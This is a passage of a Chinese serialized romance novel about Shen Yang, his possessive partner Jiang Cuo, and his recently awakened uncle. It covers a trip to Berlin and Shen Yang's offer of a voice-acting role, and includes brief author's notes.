翌日,沈泱陪柏平看了一部四D的动作大戏,昏迷七年的时间,世界确实有了难以描述的巨大变化,尤其是在国内,两人走出电影院,沈泱道,“舅舅,我们去前面的咖啡厅坐一会儿吧,我要介绍一个人给你认识。” “你的好朋友?”柏平道。 “那也不是,你先和我过去。”沈泱拉着柏平进了旁边的咖啡厅。 没等多久,沈泱看到一个栗色长卷发,穿灰色大衣的女人进入了咖啡厅,他连忙站了起来,冲着对方挥了挥手。 竺丽款步走了过来。 沈泱赶紧介绍道:“舅舅,这位是竺丽姐,以前也在德国工作过几年,前年才回的国。” 又对竺丽说:“竺丽姐,这是我舅舅,虽然他是我舅舅,但就比我大十几岁,和您相差六岁而已。” 竺丽朝着柏平微笑颔首。 柏平看了看沈泱的脸色,不多时就猜出了沈泱的想法,他眼皮上的青筋跳了跳,但作为一个长辈,不能让自己的外甥下不来台,礼貌地冲竺丽挤出一点笑意。 沈泱道:“你们先聊天,我去打个电话。” 沈泱给了两个人一点相处的时间,离开的时候,还不忘给他舅舅使了一个加油的眼色。 晚上,和知性优雅的竺丽小姐一起吃过晚饭后,沈泱开车载舅舅离开餐厅回家,“舅舅,怎么样?你觉得竺丽姐怎么样?她去年和江措在一个科技园,她是因为母亲身体不好才回国工作的,但她母亲今年去世了,她也可以再回德国工作的。” 柏平没什么表情地问:“这是你出的主意还是江措出的主意?” 沈泱盯着路况,“你别管这是谁出的主意,你觉得对方怎么样?” 柏平:“沈泱,我打算过两天回德国了。” 前方正好遇见一个红灯,沈泱踩下刹车,惊诧地转过头来,“舅舅,你要回德国了吗?” “嗯,德国还有一些事需要我处理,如果不是因为想要回国打听你的下落,我应该处理完那些事才回来,”柏平望着他说,“沈泱,陪舅舅去德国住一段日子吧。” 晚上。 江措陪沈泱在影音室里看一部新番,沈泱心里有事,看两眼屏幕又扭过头看一眼江措。 只有屏幕散发出来的微光,黯淡地投射在江措越发深邃的脸上,沈泱又突然地移开眼神。 最后一集看完了,两个人回到了卧室,沈泱欲言又止地盯着江措。 江措早就注意到了沈泱的欲言又止,沈泱不知道多少次看向他张嘴的时候,江措终于问了出来,“要说什么? 沈泱盯着他看了一会儿,很轻柔的语气,“江措,我想要陪我舅舅去德国住几天。” 他语速很快,“我舅舅打算二十六号回德国,他身体还没痊愈,我不放心,我想去德国陪他住几天,何况,你最近不也是很忙吗?” 江措等他说完才说道,“沈泱,你月初跑去和穆宁然在云南玩了一周,你承诺过,今年我在哪里,剩下的日子你就在哪里。” “可是这不是意料之外的情况吗?江措,你不能体谅一下我吗?” “不能。”手机震动了几下,江措没管,只是盯着沈泱说,“我只能允许你送你舅舅去机场。” “江措!” 江措摸出衣兜里不停震动的手机,挂断了来电,先开始脱外套,然后是衬衫和休闲长裤,手背青筋鼓动,神色没有明显的变化。 沈泱锲而不舍,“我又不是不回来了,只是去德国待一周而已,下个月月初就回来了,你年初还去美国待了十天呢,我都没不准你出国。” “沈泱,二十六七八号我会很忙,没办法挪出空去德国。” “我没让你和我们一起去。” “沈泱,你要是真的想去德国,下个月我会努力抽出几天时间,陪你过去。”江措脱掉了最后一件底裤,拿着睡衣往浴室里走,“你敢离开我,自己去德国,沈泱,你在做梦!” 沈泱心里骤然漫出一股无力感,他趁着江措往浴室里走,张嘴在他的肩膀狠力地咬了一口,江措等他咬完,温热的手掌托起他饱满的屁股,唇舌交缠,淡淡的血腥味蔓延开,江措轻而易举地抱着沈泱往浴室走去,沈泱脑袋愤愤地埋在他的肩头,江措亲了亲他的发顶,说道:“下个月我一定抽出时间,陪你去德国看望你的舅舅。” 翌日。 江措吃了早饭后出门去公司,柏平盯着魂不守舍搅动着汤圆的外甥,没说什么。 吃过早餐,柏平提醒沈泱收拾行李,柏林最近的气温要比申城暖和一些,可以带稍微轻薄一点的外套。 沈泱抿了抿嘴,说道:“舅舅,我,我下个月再去柏林吧,下个月江措有空,我可以和他一起去探望你。” “他下个月有空可以过来,反正你最近很闲。”柏平在沙发上坐下,他性格沉肃,但其实是一张娃娃脸,只是大病初愈,显得过于瘦削严肃,“沈泱,舅舅在国外也是孤家寡人。” “那昨天的竺丽姐您觉得怎么样?昨晚你们回来后有聊天吗?”沈泱八卦道。 柏平盯着沈泱,那双沉着锐利的眼神似乎看透了一切,“沈泱,江措不同意你和我去德国?” 沈泱支支吾吾,俄顷小声道:“他是有一点霸道。” 柏平沉吸一口气,哂笑一声讽刺道:“我看他哪里只是一点霸道,他分明就是霸道得不得了!!” 柏平道:“沈泱,你和我去德国,你和江措在一起的年龄太小了,你都还还没有意识到正常健康的恋爱是什么样子的?” 沈泱不喜欢他舅舅对江措的形容,蹙眉更正道:“舅舅,江措只是比普通人占有欲和控制欲强烈了一点,我不喜欢你用不正常来形容他。” 柏平:“沈泱,我知道舅舅没能在你最需要的时候出现,是舅舅对不起你,但我总觉得你的人生,可以更完美。” 柏平也是习惯性发号施令的人,他一锤定音道:“明天和我去德国,我已经买好了你的机票了。” “舅舅!” 柏平看着他,苦口婆心道:“沈泱,这几年或许你太依赖江措了,等你离开这个环境,就会发现正常的恋爱应该是相互尊重,相互体谅,而不是两三个小时就必须汇报你的行踪!” 说到最后一句话,柏平的眼皮不受控地狠跳了几下,想起沈泱是什么年龄就被江措骗到手了,柏平暴怒道:“我他妈没告江措诱拐未成年就他妈是做出很大的让步了!” 沈泱严肃地更正地道:“舅舅!我和江措谈恋爱的时候是我成年了,江措还差几个月呢。”—— 作者有话说:对了,宝宝们,我要把文名改回来,《被贫穷的藏族男高富养了!》 应该能认识吧,我的封面不会改 第57章 “我说的是心理年龄, 你能比江措成熟?” 柏平到底比沈泱大许多岁,哪怕昏迷了七年,也比他成熟许多, 他缓和了语气, “沈泱,和舅舅去德国,舅舅是你在的这个世界上最亲的亲人了, 舅舅无论如何也不会伤害你,或许和江措分开后, 你会发现其实世界上比他好的男孩女孩有很多的。” 沈泱等柏平说完,才微微抬起眼睫, 盯着他, 缓慢但清晰地道:“舅舅, 这个世界上, 不会有人比江措更好了。” * 沈泱和柏平讲话的时候, 江措在要签字文件上写好名字, 去研发部开完会回到办公室, 宁可又拿着两份文件走进了办公室。 江措掀开一扫,“刚刚我不是签了字?” 宁可观察了一下江措的脸色, “江总, 你刚刚都签错了地方。” 江措拿起一旁沈泱购置的鹅黄色带柠檬小黄鸭图案的签字笔, 拧开笔盖,动作流畅地写好江措顿珠四个大字。 确认此次无误后, 宁可抱着两份文件离开, 江措凌厉的手指捏着沈泱购置的签字笔,脑袋里不由得闪过沈泱的影子。 签字笔放进笔筒里,江措打开办公桌上三台电脑的其中一台, 却完全看不懂最熟悉的东西,沈泱会和他舅舅离开吗? 沈泱是很在乎他的舅舅的,前两年就一直想去德国探望他变成了植物人的舅舅,他拖延了一段时间,沈泱竟然买了机票要自己飞德国。 飞到德国没见到他的舅舅,沈泱难过得一天都没吃饭,他说他舅舅小时候陪他玩,永远记得住他的爱好,买的每一个礼物都是他最喜欢的。 哪怕他母亲去世,他舅舅也没有因此疏离他,反而更加关心他,哪怕再忙,每年都要抽出时间回国,生怕他的爸爸和继母苛待他。 江措和沈泱在一起已经很多年了,可是柏平和沈泱相识更多年,两人还有血缘上的联系。 电子屏幕上的内容彻底看不下去了,江措打开保险箱最里面的一个抽屉,看到沈泱的护照在里面,确认他昨天晚上的确趁着沈泱睡着了偷偷带走了他护照,他哪里也飞不走,江措的理智渐渐回笼,电子屏幕上混沌的内容逐渐可以开始理解。 江措最近确实很忙,他今天尽量准时下了班,回到家,发现沈泱和柏平似乎发生了一些矛盾,晚餐的时候,两个人没怎么说话,吃过晚饭,柏平便回到了卧室。 阿姨做好晚饭后就下班了,江措将杯盘碗碟清洗干净,厨房装了洗碗机,只是江措没有用洗碗机的习惯,他站在明亮干净宽敞的厨房上,挽起衣袖,扎实的小臂上盘错着漂亮的青筋,他动作麻利地洗干净碗筷,又迅速地收拾干净了厨房。 沈泱最喜欢的水果是香蕉和砂糖橘,舅舅却很喜欢吃草莓,他亲自把草莓一颗一颗清洗干净,敲了敲他舅舅的卧室房门,将一盘水果端了进去。 进去的时候还面带微笑,出来的时候脸色却很臭,江措掰起他的脸,“和你舅舅吵架了?” 沈泱抬起脚,毫不留情地踩了江措一脚,“都怪你,还不是因为你,我只是要去德国陪我舅舅住几天而已,你都不同意!我昨晚本来先答应了我舅舅的。” 江措:“沈泱,你舅舅忽然醒来,在我们家里住了十几天已经是意料之外的事了,你还要和他去德国,做梦!” 沈泱翻了个白眼。 和江措在一起太多年了,沈泱哪怕没有很用心地去了解他,现在就很了解他,江措讨厌一切忽然出现的意外,哪怕是一件小事上,只是他表现得不明显。 比如江措将某件衣服放在了左侧的衣柜,后来沈泱乱放,江措最后在右边的衣柜找到了,虽然只是一件小事,但江措会微不可察地皱一下眉。 比如两个人约好明天要去迪士尼,结果第二天江措公司有急事,不能成行,沈泱还挺开心的,昨晚上折腾得太累了,他现在不想起床,只想趴在床上睡觉,但江措会沉默片刻,才说好,换上衣服,去公司。 沈泱口吻不善道:“你又不是第一天知道我有个舅舅?怎么了?江措,难道你还巴不得我舅舅没有醒过来?” 江措一般不和沈泱生气,“我去书房看期刊,你在我旁边坐着好不好?” 说着,熟练地将沈泱抱了起来,没乘坐电梯,长腿一迈,托着他的屁股抱着他如履平地上楼。 “不好不好。”沈泱动来动去,脚尖踹了几下他的膝盖,又仰头咬了一口他的下颌,怒气冲冲地道:“江措,你说,你是不是还在诅咒我舅舅,希望他没有醒过来。” 沈泱毕竟是一个一米七九的成年男子,骨架纤细,但并不是骨瘦如柴的那种人,他屁股大腿都有一层饱满的脂肪,小腹还有一层柔韧的薄肌,一百三左右的体重对江措来说不算特别重,可毕竟是抱着他上楼。 江措的身形歪斜了一下,他收紧搂着沈泱的大手,指腹不是很客气地在他饱满的屁股上抓了一把,沈泱身体非常敏感,哪怕这些年被江措不知道碰过多少次,还是很容易浑身痉挛颤抖发软。 沈泱双颊染上绯色,湿漉漉的眼睛饱含怒气,“江措,你……” “宝宝,我是没有很开心你舅舅醒过来。”他低头啄了一下沈泱的嘴唇,低声道:“但如果只有一个选择,我会毫不犹豫地选择他醒过来。” “他是你很在乎的亲人。” 沈泱双手搂着江措的脖子,很是用力地对着他哼了一声。 翌日上午,江措没有去上班,开车送柏平去机场,过了早高峰,加上是出城的路线,没有堵车,半个小时后就到了国际机场。 江措打开车门,匆匆走向后备箱,柏平要自己拎他的行李箱,沈泱连忙道:“舅舅,让江措帮你拎吧,他力气大。” “我还没虚弱到拉不动行李箱的地步。”柏平伸出手,去够行李箱的拉杆。 “舅舅,我来拉。”江措避开了柏平伸过来的手。 “给我。”柏平沉声。 江措扫了眼沈泱,松开了行李箱的横杆。 柏平拉着行李箱,健步如飞地朝候机大厅走去,沈泱和江措跟在他身后,陪伴柏平办理好了行李托运,又取到了登机牌,沈泱和江措不能过安检,柏平驻足,转过身盯着沈泱。 仍然有一种恍然在梦中的感觉,只是睡了一觉,醒过来最疼爱的外甥已经不是十六七岁的外甥,而是过了法定结婚年龄的成年人了。 他脑袋里又闪现了昨天上午和沈泱的对话,柏平知道自己想要让江措和沈泱分开的念头对江措很不公平,这几年来,江措的确有为沈泱付出很多,可是人总是偏心自己的小辈。 尤其是柏平觉得自己很对不起沈泱,没能在孩子最需要的情况下出现在他的身边,更是想要竭力弥补他。 柏平不知道沈泱到底是喜欢女生,还是被江措掰弯的,但他的确不喜欢太强势的人作为沈泱的伴侣。 尤其是昨天当沈泱说出那句话,这个世界上没有人比江措更好了,更是让柏平心里一慌,到底是有多在乎他,才能斩钉截铁地说出这句话。 柏平向来奉行的是爱人先爱已,也向来是这样教育沈泱的,自己最值得被爱,可是沈泱似乎有在爱情里付出一切的能力。 这让柏平瞬间警惕起来,觉得很危险,他觉得健康的爱情观一定是有你很好,但没有你我也能很好,毋庸置疑,江措不属于这类人,可是沈泱似乎也不属于这样的人。 柏平心乱如麻,他记得他说了很多话想要劝一劝沈泱,不是要沈泱一定要和江措分手,只是想要沈泱去德国和他住一段时间。 沈泱听完他的话,只是看着他说道:“舅舅,你回来得太晚了。” 柏平剩下的话再也说不出来了,是啊,他回来得太晚了,没能在沈泱最需要他的时候出现。 没能出现在沈泱最需要的时候啊。 柏平余光扫过江措,又看向了沈泱,叹了一口气,“沈泱,有任何事都可以找舅舅。” 沈泱的眼眶有点红,“我知道了,舅舅,你到了柏林记得给我打电话啊,下个月,我和江措一起去国外探望你。” 没有更多的话说了,柏平叹了口气,转身离开。 沈泱站在江措旁边,盯着他舅舅的背影,在他记忆里,他的舅舅总是很高大威猛的,他还记得他舅舅得知了他父亲出轨的消息后,把他爸爸按在地上揍的场景,像是一座他健硕的父亲无论如何也推不开的巨山。 可是,此时,他站在江措旁边,盯着柏平穿着深黑色羊毛大衣的背影,却觉得他的背影单薄又佝偻,风一吹,他似乎就会被绊倒。 “江措,你这个混蛋!”沈泱转过头,给了江措一下,声音里带着点哽咽。 江措展开手臂,无视周围的人群,低声承诺道:“下个月我陪你去德国。” 江措开车载沈泱回家,沈泱一开始,怏怏不乐地看着窗外,江措琢磨着怎么哄一哄沈泱。 等他转过头,就见沈泱咬着唇,眼泪一颗一颗往下滚,像是想忍住,又完全忍不住。 江措赶紧将车开到路边的临时停车场,解开了安全带,“怎么了,泱泱?” 沈泱没说话,只是忍不住的抽泣。 江措心像是被一颗针扎了一下,细微,却无法忽视,这些年他很少看到沈泱哭,掉眼泪总是在床上,那也不是难受的掉。 “沈泱,别哭了。”江措动作慌乱地将沈泱揽入怀中。 沈泱抽泣了好一会儿,含糊不清地崩溃道,“江,江措,不知道为什么,我看到舅舅一个人离开的背影好难受啊,好难受啊!他明明身体还没有完全康复,可他,他他刚可以坐飞机就回国来找我了!” 沈泱原来也没有觉得很伤心,反正下个月他就可以和江措去德国了,可不知道为什么,一想到舅舅的背影,就是觉得快控制不住自己的眼泪了,明明他下个月就要去德国的! “江措,你这个混蛋,大混蛋!” “沈泱,别哭了,下个月,下个月我一定陪你去德国。” 江措向他承诺,可是沈泱的眼泪完全止不住,甚至于身体开始抽搐。 “好了,沈泱,别哭了,我陪你去德国,我们现在就去德国。” 话说完,江措突然意识到或许是太久太久都没有看见沈泱哭的难受,也或许是沈泱从来没有哭的这么凄凉悲戚,他完全没办法看着沈泱继续沉浸于悲伤的情绪里了。 江措微不可查地握了一下拳。 沈泱一开始没反应过来江措说了什么,等意识过来江措说了什么,他愣愣地抬起湿红的眼泪,眼眶里还带着一颗豆大的要掉不掉的眼泪。 江措抹掉那颗碍眼的眼泪,深吸了一口气,“我现在就买机票。” 沈泱脸上带着湿润,惊住了,“那那你的公司怎么办?” “只是几天,不会出太大的问题,”江措原来还有一丁点后悔,可看见沈泱脸上难以掩饰的惊喜,那点后悔压制下去了,“沈泱,你最重要。” 这两天没有申城直达柏林的机票了,从蓉城中转的飞机是最早的一班。 江措雷厉风行,下定决心后,便毫不迟疑地买了机票后,把沈泱送回家,让他收拾行李,他则去公司一趟,处理一些最紧急的事情。 二十四个小时后,飞机准时在机场降临。 沈泱和江措登机的时候,是下午四点,经过十三个小时的长途途行加上七个小时的时差,抵达机场时是晚上十点钟。 沈泱取完行李过了海关,办理了本地的手机号后,迫不及待地给舅舅打去了电话。 “舅舅。”沈泱神清气爽地叫了一声柏平。 沈泱拿着手机兴冲冲地打电话,没注意到旁边有个金发碧眼的男人差点撞着他,江措一只手拖着两个人的行李箱,另外一只手将他揽入怀里。 柏平:“沈泱?我下机了给你打电话怎么没接?” 沈泱笑了一下,“那当然是因为飞机上没网啦。” “飞机上?” 沈泱大声地:“舅舅,你猜我在哪里?” 不等柏平回答,沈泱急不可耐地说:“我和江措已经到德国了!!哦,江措打到车了,我们大概一个小时后,就能到你家啦!” 柏平骤然从沙发上站了起比来,“沈泱,你说你在哪里?” 一个小时后,出租车停在柏平的家门口,他和妻子离婚后,搬回了原来的住所,也是沈泱小时候来过的一栋二层小别墅。 门口的路灯灯光年久失修,有些昏暗,沈泱打开出租车的车门,兴奋地朝他走来,脸上的喜悦却异常明显。 江措给了司机酬劳后,绕步到后备箱,取出了两个人的行李箱。 “舅舅,风这么大,你在里面等我们就行了啊,我和江措年轻,不怕吹风!”沈泱见柏平衣衫不算厚实,说道。 柏平目光回到沈泱身上,“不是说下个月过来吗?” 沈泱摸了摸鼻子,不好意思说是因为今天在江措车上哭的泪流不止,浑身抽搐,他扭过头,瞪着江措,凶巴巴地斥责道:“对啊,不是说下个月过来吗?怎么今天过来了?” 江措叫了声舅舅,没有不给沈泱面子,只是说:“风大了我们先进去。” 柏平的家里只有钟点工每天前来打扫,不过原来入住时,房子彻底地清洁过,他收拾了两间客房出来,说是两间客房也不算,沈泱的那间房一直是他以前来德国入住的卧室,床头还放着十岁的沈泱和柏平的合影。 柏平打开另外一件卧室,示意江措今晚住这间卧室。 沈泱站在柏平身后,用眼神示意江措,等会儿他来找他,等会儿他来找他! “好,舅舅。”江措面无表情地说。 夜深了,柏平身体不好,安顿好两人后就回房休息了,江措洗完澡,毫不犹豫地走到了沈泱的卧室门口,敲了敲两下门。 沈泱做贼心虚地探出半个脑袋,又一把将江措拉了进来,小声抱怨道,“你敲门干什么,我都没锁门,这房子的隔音效果不好,我舅舅就住在我们旁边!” 江措没什么表情地讲这样的话,“你舅舅很清楚我们的关系。” “行啦行啦,你快去给我暖床,我去洗个头发!” 柏平睡在沈泱隔壁卧室,房子的隔音效果其实没有很不好,只是江措在走廊行动的脚步声和敲门声都很重,柏平的听力没有受到任何损伤,不至于听不见。 他先是皱了下眉,而后眉头舒展开,唇角往上翘了一下。 江措只在柏林待了两天,就必须回国了,这三天的时间都是他硬挤出来的。 离开那天,沈泱送江措去机场,出租车抵达机场,江措没有立刻从车厢里下车。 沈泱望着他,仰起头亲了亲他的下颌,向他保证道:“三号我一定回国,三号我一定回国。” “沈泱,你要记得对我承诺的东西。”江措没什么表情地说。 沈泱连连点头,江措又低下头亲了一亲沈泱的嘴唇,离开时微微用力地一咬,见沈泱蹙眉时,江措过了两秒钟,还是放轻了力气。 江措拉着行李箱离开了。 转眼五天过去了,沈泱向舅舅承诺,今年过年和江措一起来德国和陪他过年。 柏平送沈泱去了机场,他心里仍然不太喜欢江措,但他也清楚,沈泱和江措目前是拆不开的,勉强愿意接受江措,于是说,“江措不一定想要和我一起过年。” “可是江措想要和我一起过年啊。”沈泱不假思索地说。 柏平见沈泱信誓旦旦的样子,忽然觉得江措纵然有很多缺点,却有一个优点,被他喜欢的人,可能会窒息,却一定不会没有安全感,一定能深刻地感受到自己正在被爱—— 作者有话说:沈泱飞机降临在机场的时候,已经是晚上十点半了,江措在接机口等着他。 看到沈泱从机场里走了出来,江措里大步流星地朝他走去。 “江措,你是不是想死我了?”无视掉周围群众的眼光,沈泱扑进了江措的怀里。 江措:【腿分开,拍两张看看】 沈泱气冲冲地骂他,【你这个流氓!!大流氓】 下午,沈泱开车去公司接江措下班。 两个人约好一起去吃晚饭。 江措开到车库后,沈泱把驾驶座让给他,他坐副驾。 沈泱是一个容易起兴的人,去火锅店的路上,沈泱看见了一家灯光像是烂漫的银河从玻璃窗投射出来的漂亮餐厅,连忙叫江措停车,“江措,我不想去吃火锅了,我想去吃这个餐厅。” “那家餐厅最近好出名的,没想到它在这里!” 江措朝斜前方扫了一眼,说:“应该要排很久的队,能等吗?”餐厅外面,坐了许许多多的人,应该是一家网红餐厅。 沈泱转过头,斜睨他一眼,“你不乐意陪我排队。” “没有。”江措寻找停车的地方,等停好车后,他转过头对沈泱说,“和你在一起做什么我都很乐意的。” 沈泱盯着他,骄矜地从鼻梁里发出一声细微的哼。 两个人拉开奔驰的车门走过去,拿到的号是三百一十六,服务员说要等两个小时。 申城这两年最声名鹊起的行业新贵没了白天和股东们分毫不让的谈判精英模样,向服务员要了两个塑料凳,两个人并肩坐在初冬的街头,沈泱摸出耳机,今晚王恒正好在直播,沈泱进入给他投了几个雷,又让江措把手机拿出来,快陪他打几把游戏。 “你给我打辅助啊,要一直跟着我,我菜也不准骂我。” “嗯,不骂。” 打了游戏又靠在一起聊了一会儿天,两个多小时竟然不知不觉地过去了。 坐下之后,倒是没等太久,沈泱点的几个菜都上齐了,菜品和餐厅的环境都很赏心悦目,但沈泱尝了一口所谓的茉莉醉虾,味道寻常。 尚算愉快地用完了这顿晚餐,江措结账后,牵着沈泱的手离开餐厅,两个人回了家。 第二天早上,江措去公司上班,沈泱起床后,开始拆昨晚买的盲盒,他喜欢的一个动漫出了新的盲盒,沈泱想要拆到其中的隐藏款。 正在客厅的地摊上聚精会神的拆盲盒时,沈泱的手机响了起来。 沈泱一边拆盲盒,一遍够过一旁的手机,名字都没看就按下接通,范窈的声音传来,“沈泱,试音结果出来了,作者和老板都选了你!” 沈泱顿了一下。 沈泱以前是上过班的,最开始实习的时候是在江措的公司,他学的电子商务,江措安排他做他的助理,沈泱才不要,那根本就是在江措的眼皮子底下,去行政部干了一段时间,沈泱觉得没意思,就辞职了。 然后沈泱自己找了一个工作,是在4S店里当销售,第二天就把摸女同事屁股的主管揍了一顿! 然后沈泱找了一份淘宝店运营的工作,做得还是不太开心,干脆就辞职了,反正沈泱和江措过了需要为了几千块几万块担忧的日子了。 沈泱整个人彻底僵硬了几秒钟,然后才回过了神。 他低下头,看清楚了来电显示,写的是范窈两个字。 “沈泱,你听到了吗?”范窈喜气洋洋地地道。 沈泱的喉结剧烈地滚动了两下,说道:“你说试音结果出来了,作者和老板都选了我。” “对。”范窈笑道,“沈泱,你打败了专业的cv和目前几个声名鹊起的cv,《我掰弯了我姐暗恋的男神》这部剧决定选择你作为主役。” 沈泱忽然抬手,他关掉了电视,落地窗的温暖光线投射进来,有两束散落在沈泱的肩头,沈泱盯着光束里飘浮的浮游,声音轻轻的,“可是,学姐,你不是说他们都很厉害吗?而且他们有些人以前还是配电视剧动漫的,这是真的吗” 范窈肃声道:“沈泱,我很早之前就说过,你是很有天赋的配音演员。” 像是意识到了什么,范窈道:“沈泱,你……不会要拒绝吧?” 第58章 沈泱顿时心烦意乱。 自从上次在海鲜餐厅和范窈偶遇后, 范窈私下找他聊过两回天,沈泱因此得知了当初和他一起玩网配的小伙伴们有人毕业了,依旧把爱好当□□好, 有人三次元太忙了, 逐渐退出了二次元,有人走上了职业配音的道路。 或许是范窈发现了沈泱的惆怅和没死心,忽然问他, 她最近在做一个项目,愿不愿意试音。 沈泱的第一反应是拒绝。 范窈又说, 现在的广播剧开始网配改商配了,这是她制作的第一部商配, 商配和网配不同, 网配是为爱发电, 而商配则是需要购买版权, 制作方也不是粗暴地把音源放在网络上, 而是需要听众付费购买。 大家都很看重这个项目, 毕竟这个小说是去年最爆的小说之一, 作者和制作方都有主役的选择权,试了很多音了, 但没有一个让大家都满意的。 又说沈泱反正没事, 不如录几句试一试。 不知道为什么, 沈泱躲进了衣帽间,录了几句范窈发过来的台词。 他没有怀揣任何的希望, 困水曾经在网配留下过自己的身影, 可是好几年过去了,他应该早就被人遗忘了。 范窈:“沈泱,你知道吗?这个小说的作者听到你的试音时很激动呢, 她说她以前就听过你配的《不准动嘴》《醉浮生》,都很好听,她还讲她的闺蜜也超级喜欢你,以前你开yy,她半夜去网吧都要进房间呢。” 范窈:“沈泱,你如果想要过吃喝玩乐的富太太的生活我不会劝你,可是你才二十出头,你真的要做一辈子的金丝雀吗?” “你以前明明也很喜欢配音的。” 沈泱嘴唇张合了好几下,最后,他茫然无措道:“学姐,我想考虑一下。” “那好,我这边也只能给你一天的考虑时间。”范窈说,“沈泱,我玩配音很多年了,你真的是我遇见的特别有天赋的男孩子,我真的很希望,你能做一点你喜欢的事,你看江措,都有自己的事业呢。” 沈泱挂断了电话,阿姨来问他中午想吃什么,沈泱说了一句都可以,起身上了楼。 在床上心慌意乱地打了两个滚,他没有觉得现在的生活不好,有钱有闲有朋友有江措,他一直觉得自己很满意了,可是冷不丁地听到范窈的那些话,沈泱枯坐了半晌,心乱如麻地拿出了手机,无意识地滑动了两下,出现了一个他关注的美食探店博主,正好是穆宁然。 穆宁然这次去的是海岛的一家声名在外的椰子鸡餐厅,和他的摄像师两个人说说笑笑,几分钟的视频不知不觉就看完了。 沈泱给穆宁然发了条消息过去:【我也想吃椰子鸡】 穆宁然不知道在干什么,等了十几分钟,没等到他的消息。 他给王恒发消息,王恒在打游戏,练新英雄。 顾宝安还在上课,看书。 边宇则忙得脚不沾地,要过年了新年玩偶的模具还没有确定下来。 他最后给胡大江发消息,胡大江说他刚把江措送到一个什么互联网峰会的酒店里,现在在蹭茶歇吃。 胡大江:【这家五星级酒店的甜品真的好好吃,尤其是这个瑞士卷,红茶瑞士卷【图片】】 每一个人都有自己的事干,只有沈泱,无所事事,他仰起头,看见了窗外灿烂明媚的阳光,也看见了缠绕在自己身上无形的细线。 沈泱昨天就约了明棠去猫咖,明棠是李冬的女朋友,她是个富二代,是沈泱不上班后太无聊,江措介绍他和对方认识的,两个人能聊得到一起去,关系还不错。 也是这段时间里,沈泱来往最多的朋友了。 毕竟明棠和沈泱一样,家里都不缺她们俩赚的仨瓜俩枣,何必受上班那个罪。 今天见面的地方是一家猫咖,两个人点了一杯咖啡后坐下,明棠要了几根猫条,今天是工作日,出门休闲的人本来不多,猫咖咖啡馆里没有几位顾客,看到有猫条投喂,七八只小猫蜂拥而至。 明棠喂完了三根猫条,小猫们见没有零食吃了,有几只无情地离开了,有一只小猫窝在了明棠的怀里,与此同时,有一只毛发雪白的布偶跳进了沈泱的怀里。 沈泱张开双臂盯着它,确认它的毛发是很干净的后,沈泱先用纸巾擦了擦它柔软的长毛,过了片刻,才伸出手,试探性地摸了摸小猫的脑袋。 明棠迫不及待地将头埋进了金渐层的小腹里,发出和她小巧精致的长相截然不同的狞笑声,金渐层的脾气温顺,任凭明棠亲摸吸,都没有反抗,只是中途无力地喵喵了几声。 两个人都很喜欢看动漫,聊了几部最近的动漫,和明棠最近身边的八卦新闻,明棠说:“沈泱,我想开一个猫咖咖啡厅。” “你怎么也想开猫咖咖啡厅了?”沈泱诧异。 明棠抱起旁边的缅因巨兽吸了一口,吸了一嘴的猫毛,她捻走唇角的两根猫毛,“我前两天又捡了一只猫,我都有七只猫了!” “何况我觉得天天吃喝玩乐也太无聊了,我想找点有意义的正经事干。”她压低了声音,凑近了沈泱说,“我问过我哥和李冬了,他们都觉得猫咖可以开,现在喜欢猫猫的年轻人越来越多,但不是每一个人都愿意养。” “而且,如果我开了猫咖,以后再捡到猫,领养的话也会变得方便。” 沈泱想了想说:“挺好的。” 明棠喜欢猫,喜欢捡猫,喜欢收留无家可归的猫,如果不以营利为目的,这应该是很适合明棠的工作。 听了一下午明棠对她未来猫咖的美好设想,沈泱盯着对方熠熠生辉的眼神,忽然从她身上感受到了一股旺盛的生命力,这种闪闪发光的样子他也在范窈身上见过。 “你要不要和我一起开猫咖?”明棠道。 沈泱低下头,看了看怀里的小猫,迟疑道:“还是算了吧,猫咖太多毛了。” 和沈泱认识了这么久,明棠知道他爱干净,虽然喜欢猫,但不喜欢猫毛,便没有再劝。 在猫咖待了两三个小时,沈泱陪明棠去逛街,李冬生日到了,她想要给李冬买一个生日礼物,沈泱逛了一圈,没看到自己喜欢的东西,只是给江措买了一条浅褐色的皮带。 两个人走出商场的时候,商场上几百寸液晶显示屏上在宣传当下最热的一部仙侠剧。 听到男主说出那句“此生定不负你的”时候,沈泱蓦地转过了头。 “沈泱,你也在追这个剧吗?”明棠没追这个剧,但她身边人挺多人追的。 “没有,我看电视剧比较少。”沈泱盯着大屏幕,等这段宣传片播放结束后,才开车回家。 到家后,江措还没有回来,沈泱拿出iPad,找到今天偶然看到的那部仙侠剧,往后拉动进度条,等男主出场的时候,沈泱停了下来。 沈泱听了几分钟后,摸出手机,现在网络越来越发达,许多信息都向大众公开,这个仙侠剧男主的配音,的确是莫吉托的狗,和他一起配过《念念不忘》。 沈泱点开了他的微博,当年沈泱退圈的时候,莫吉托的狗粉丝只有他的一半,可是现在有超过一百万的粉丝了,他不仅有了广播剧和电视剧,他还配了动漫和游戏。 沈泱握紧了手机,抿了一下唇,接着,他退出现在的微博账号,登录了那一个很长时间没有登录的微博的账号。 沈泱的上一条微博,还是在四十多个月之前,他说他要退圈了。 沈泱点开微博,才发现四十几个月前的微博下面竟然有几千条留言,他记得他许久以前来看过,不过上千条留言而已。 沈泱点开,发现最近的留言竟然在三天前。 一个叫小鱼吃泡泡的网友留的,【困水你真的彻底退圈了吗?好喜欢你的声线啊,入坑太晚了,昨天才把你配的几部剧都听完了!!】 然后是五天前的留言,粉丝问困水你真的不回来了吗? 并不是流星滑过天空,转瞬即逝,这几年每个月几乎都有粉丝来留言,沈泱还看到了一个四年前经常在他微博下留言的粉丝问他现在过得怎么样?快乐吗? 而困水的粉丝竟然在这四十多个月里涨了三十万。 私信里有几百条未读消息,并不都只是四年前的留言,今年的私信竟然都还有上百条! 沈泱端正地坐在沙发上,一条一条仔仔细细地看完了,心里忽然涌起了一股从未有过的强烈冲动,他冲动地想要即刻去找江措。 汽车轰鸣的引擎声响了起来,沈泱抬头望向天外,发现天色已经全黑了,只有温黄色的路灯洒在别墅外的石板路上。 不多时,江措推开门走了进来。 看见江措,沈泱一颗灼热滚烫的心脏温度慢慢降了下来,他攥紧了攥手心,决定找一个合适的时间和江措聊一聊。 沈泱是知道江措的霸道的,但是这么多年过去了,他应该很确定沈泱也是很喜欢他的,很在乎他的,不可能离开他了,就算有无数的男人追求沈泱,沈泱也只会选择一开始的江措。 就,吃了晚饭后和江措说吧。 沈泱下定了决心。 今天晚上阿姨炖了红枣鸽子汤,江措见沈泱总是去夹土豆丝吃,装了一碗肉很多的汤给他,“多吃点肉。” 沈泱对江措笑了笑。 